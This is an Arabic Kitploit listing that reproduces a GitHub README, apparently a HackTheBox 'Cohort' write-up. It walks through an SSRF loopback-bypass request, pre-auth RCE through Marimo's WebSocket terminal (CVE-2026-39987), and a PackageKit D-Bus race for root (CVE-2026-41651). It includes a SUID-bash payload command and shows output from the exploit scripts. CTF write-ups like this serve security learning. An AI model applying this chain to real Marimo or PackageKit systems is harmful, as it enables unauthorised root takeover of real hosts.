Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cohort-htb — HTB Cohort - SSRF، Marimo RCE قبل المصادقة (CVE-2026-39987) و PackageKit privesc (CVE-2026-41651) | Kitploit
أدوات/GitHubGitHub/iapetus12/cohort-htb
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالCTFاختبار الاختراقالتعلم والتعليمالفريق الأحمرArchived
GitHubiapetus12/cohort-htb

cohort-htb

HTB Cohort - SSRF، Marimo RCE قبل المصادقة (CVE-2026-39987) و PackageKit privesc (CVE-2026-41651)

منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

Cohort — تقرير HTB وسلسلة الاستغلال

الجهاز Cohort (HackTheBox). سلسلة القتل الكاملة:

  1. SSRF في واجهة Flask API (/api/validate) → اكتشاف vhost داخلي
  2. RCE قبل المصادقة في Marimo 0.20.4 WebSocket terminal (CVE-2026-39987) → shell باسم marimo
  3. رفع الصلاحيات عبر PackageKit 1.2.8 D-Bus TOCTOU (CVE-2026-41651) → SUID bash → root

الأعلام غير مُضمَّنة عمداً (قواعد HTB).


1. الاستطلاع والتعداد

root@kitploit:~
10.129.93.8        cohort.htb
  • 8080 — nginx يخدم تطبيق Flask (نقاط نهاية /api/...)
  • 8888 — خادم Marimo notebook داخلي (vhost: nb-1be3782a8afd3ad5.cohort.htb)، غير مكشوف خارجياً

2. SSRF → اكتشاف vhost داخلي

كشف التطبيق عن نقطة نهاية للتحقق من صحة URL تجلب المحتوى البعيد وتعكسه. كان يمكن تجاوز مرشح URL بترميز عنوان loopback:

root@kitploit:~
POST /api/validate HTTP/1.1
Host: cohort.htb

{"url": "http://127.1:80/status"}

أصاب هذا nginx الداخلي وكشف عن upstreams المُهيَّأة، بما في ذلك vhost الداخلي لـ Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.

3. RCE قبل المصادقة — Marimo 0.20.4 (CVE-2026-39987)

معالج WebSocket terminal في Marimo notebook لم يتحقق من المصادقة. الاتصال بـ /terminal/ws يُنشئ shell bash عبر pty.fork().

كان vhost الداخلي قابلاً للوصول عبر nginx الخارجي بإرسال ترويسة Host الداخلية:

root@kitploit:~
./scripts/marimo_shell.py 10.129.93.8
root@kitploit:~
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$

النتيجة: shell باسم marimo (uid 1000).

التعداد باسم marimo

  • dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1
  • إصدارات pkcon / polkit تطابق نمط TOCTOU القابل للاستغلال
  • العلم user.txt في /home/marimo/user.txt

4. رفع الصلاحيات — PackageKit TOCTOU (CVE-2026-41651)

الثغرة

يحتوي PackageKit 1.2.8 على خلل time-of-check / time-of-use: دور المعاملة والأعلام التي يقرأها GLib idle callback يمكن التلاعب بها عبر إصدار استدعاءين غير متزامنين لـ D-Bus على نفس المعاملة، بحيث ينفذ الـ backend المميز الاستدعاء الثاني (الدور NONE، بدون فحص مصادقة) رغم أن الأول (SIMULATE) قد اجتاز فحص التفويض بالفعل.

يُصدر الاستدعاءان تتابعاً على نفس المعاملة:

  1. InstallFiles(SIMULATE=4) — يجتاز فحص تفويض polkit
  2. InstallFiles(NONE=0) — يحمل ملف .deb الخبيث، يُقرأ كجزء من نفس دفعة الرسائل

يشغّل ملف .deb الخبيث سكربت postinst بصلاحيات root يُسقط SUID bash:

root@kitploit:~
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash

الاستغلال العامل

تفصيل أساسي: يجب دفع الاستدعاءين معاً حتى يقرأ الـ backend الرسالتين في دفعة واحدة. استخدم GIO async call() + flush_sync():

root@kitploit:~
./scripts/cve-2026-41651_gio.py
root@kitploit:~
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash

لماذا فشلت المحاولة الأولى

استخدم الاستغلال الأولي python-dbus:

root@kitploit:~
./scripts/cve-2026-41651_pydbus.py   # ❌ race lost

يُسلسل python-dbus استدعاءَي InstallFiles في كتابات منفصلة، لذا عالج idle callback في الـ backend كل حدث على حدة ولم ينجح التلاعب أبداً. يرسل flush_sync من GIO رسالتي D-Bus في دفعة كتابة واحدة → نجح التلاعب.

Root

root@kitploit:~
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...

/root/root.txt قابل للقراءة.


الملفات

root@kitploit:~
scripts/
├── marimo_shell.py           # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py     # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py  # CVE-2026-41651 — first attempt (python-dbus, race lost)
تنزيل الأداة